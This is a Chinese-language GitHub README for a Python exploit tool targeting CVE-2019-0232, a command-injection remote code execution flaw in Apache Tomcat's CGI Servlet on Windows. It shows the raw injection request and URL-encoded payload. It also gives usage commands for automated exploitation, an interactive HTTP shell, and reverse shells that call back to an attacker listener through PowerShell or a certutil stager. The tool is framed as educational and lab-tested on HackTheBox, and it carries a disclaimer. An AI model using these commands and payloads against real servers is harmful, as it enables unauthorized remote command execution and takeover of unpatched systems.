blackjuker2/CVE-2019-0232

GitHub: blackjuker2/CVE-2019-0232

针对 Apache Tomcat CGI Servlet(CVE-2019-0232)远程代码执行漏洞的自动化利用与教育性 PoC 工具。

Stars: 0 | Forks: 0

# CVE-2019-0232 — Apache Tomcat CGI Servlet RCE ## 漏洞概述 **CVE-2019-0232** 是 Windows 平台上 Apache Tomcat 的一个远程代码执行漏洞。 当 CGI Servlet 的 `enableCmdLineArguments=true`(打补丁前在 Windows 上为默认值)时,Tomcat 会通过 `Runtime.exec()` 将 HTTP 查询字符串直接作为命令行参数传递给 CGI 批处理文件。在 Windows 上,`Runtime.exec()` 会使用 `cmd.exe /c` 包装该调用,从而使得 `&` 命令分隔符在这些参数中生效。 攻击者可以通过在 URL 中包含 `&`(URL 编码为 `%26`)来注入第二个操作系统命令: ``` GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1 # Tomcat URL解码 → cmd.exe /c cmd.bat &whoami # cmd.exe 看到 & 并在 cmd.bat 退出后运行 whoami ``` ### 受影响版本(仅限 Windows) | 分支 | 受影响范围 | 修复版本 | |--------|-----------------------|----------| | 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 | | 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 | | 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 | **前提条件:** 在 `conf/web.xml` 中设置了 `enableCmdLineArguments=true`(打补丁前在 Windows 上为默认值)。 ## 功能 - **Auto 模式** — 完整利用链:枚举 → 模糊测试 CGI 路径 → 交互式 shell - **版本检测** — 从 HTTP 标头和错误页面识别 Tomcat 版本 - **CGI 路径模糊测试** — 多线程,内置字典 + 可选自定义字典 (`-w`) - **单命令执行** — 运行一条命令并打印输出 (`--cmd`) - **交互式 HTTP shell** — 基于 HTTP 的 REPL 循环,每条命令发起一次新请求 - **反弹 shell** — 内置 TCP 监听器;无需外部 `nc` - PowerShell Base64 编码 payload(默认) - `certutil` stager(备选方案) - **PATH 注入** — 自动设置 `System32`、`Windows`、`Wbem`、`PowerShell`,使 `whoami`、`ipconfig`、`netstat`、`powershell.exe` 无需完整路径即可运行 - **stderr 合并** — 自动附加 `2>&1`,以便显示错误输出 - **Burp 代理支持** — 通过 `--proxy http://127.0.0.1:8080` 路由流量 ## 安装说明 ``` git clone https://github.com/blackjuker2/CVE-2019-0232.git cd CVE-2019-0232 pip install -r requirements.txt ``` 需要 Python 3.8+。 ## 使用说明 ``` python3 cve_2019_0232.py -t [options] ``` ### 模式 | 标志 | 描述 | |------|-------------| | `--auto` | 枚举 → 模糊测试 → 进入交互式 shell | | `--enum` | 仅枚举 Tomcat 版本和 CGI 路径 | | `--fuzz` | 模糊测试可访问的 `.bat`/`.cmd` 端点 | | `--cmd COMMAND` | 执行单条命令 | | `--interactive` | 交互式 HTTP shell 循环 | | `--reverse-shell` | 生成反弹 shell(需要 `--lhost`) | ### 示例 **Auto 模式 — 让脚本自动完成所有操作:** ``` python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto ``` **在已知端点上执行单条命令:** ``` python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami ``` **交互式 shell 循环:** ``` python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive ``` **全自动利用链 → 反弹 shell(无需单独的 nc):** ``` python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444 ``` 脚本会在 `--lport` 上开启自己的 TCP 监听器,发送 PowerShell payload,并在目标回连时将您带入交互式 shell。 **在已知路径上使用 PowerShell 反弹 shell:** ``` python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 ``` **certutil stager(如果 PowerShell 被阻止):** ``` python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil ``` **用于模糊测试的自定义字典:** ``` python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt ``` 没有文件扩展名的条目会自动作为 `.bat` 和 `.cmd` 进行探测。 **通过 Burp Suite 路由:** ``` python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080 ``` **在每次请求前显示原始注入 URL:** ``` python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url ``` ### 所有选项 ``` positional / required: -t, --target URL Target base URL e.g. http://10.10.10.x:8080 path: -p, --path PATH Known CGI script path e.g. /cgi/cmd.bat modes: --auto Full chain: enum → fuzz → interactive --enum Enumerate Tomcat version and CGI paths --fuzz Fuzz for accessible CGI script endpoints --cmd COMMAND Run a single command and print output --interactive Interactive command loop (HTTP shell) --reverse-shell Send PowerShell reverse shell reverse shell: --lhost IP Your listener IP (use tun0 for HTB/OSCP) --lport PORT Your listener port (default: 4444) --shell-method {ps,certutil} Payload type: ps (default) or certutil stager options: -w, --wordlist FILE Extra CGI names to fuzz (one per line) --threads N Fuzz threads (default: 15) --timeout N HTTP timeout in seconds (default: 10) --proxy URL HTTP proxy e.g. http://127.0.0.1:8080 --no-ssl-verify Disable TLS certificate verification --show-url Print the full injection URL before each request ``` ## 注入原理 脚本分三步构建注入 URL: 1. **PATH 注入** — 将您的命令包装在一个预先设置 `PATH` 的组中: (SET PATH=C:\Windows\System32;C:\Windows;...&echo.& 2>&1) `echo.` 会输出一个空行,从而满足 Tomcat 的 CGI 标头解析器的要求,使响应正文可见。 2. **URL 编码** — 通过 `urllib.parse.quote` 将空格转换为 `+`,将特殊字符转换为 `%XX`。 3. **注入点** — 编码后的组被放置在 `%26`(即 `&` 分隔符)之后: /cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261) ## 测试环境 - 运行于 Windows Server 2019 的 Apache Tomcat 9.0.17 (HackTheBox — Catalina) - 运行于 Kali Linux 的 Python 3.11 / 3.12 ## 参考文献 - [NVD — CVE-2019-0232](https://nvd.nist.gov/vuln/detail/CVE-2019-0232) - [Apache 安全公告](https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.18) - [Exploit-DB #47073](https://www.exploit-db.com/exploits/47073) ## 法律免责声明 本工具仅供**教育目的和授权的安全测试**使用。 作者不对因使用此工具而造成的任何滥用或损害负责。 在对任何系统进行测试之前,请务必获得明确的书面许可。
标签:AI合规, CISA项目, OpenCanary, 命令注入, 数据展示, 红队, 逆向工具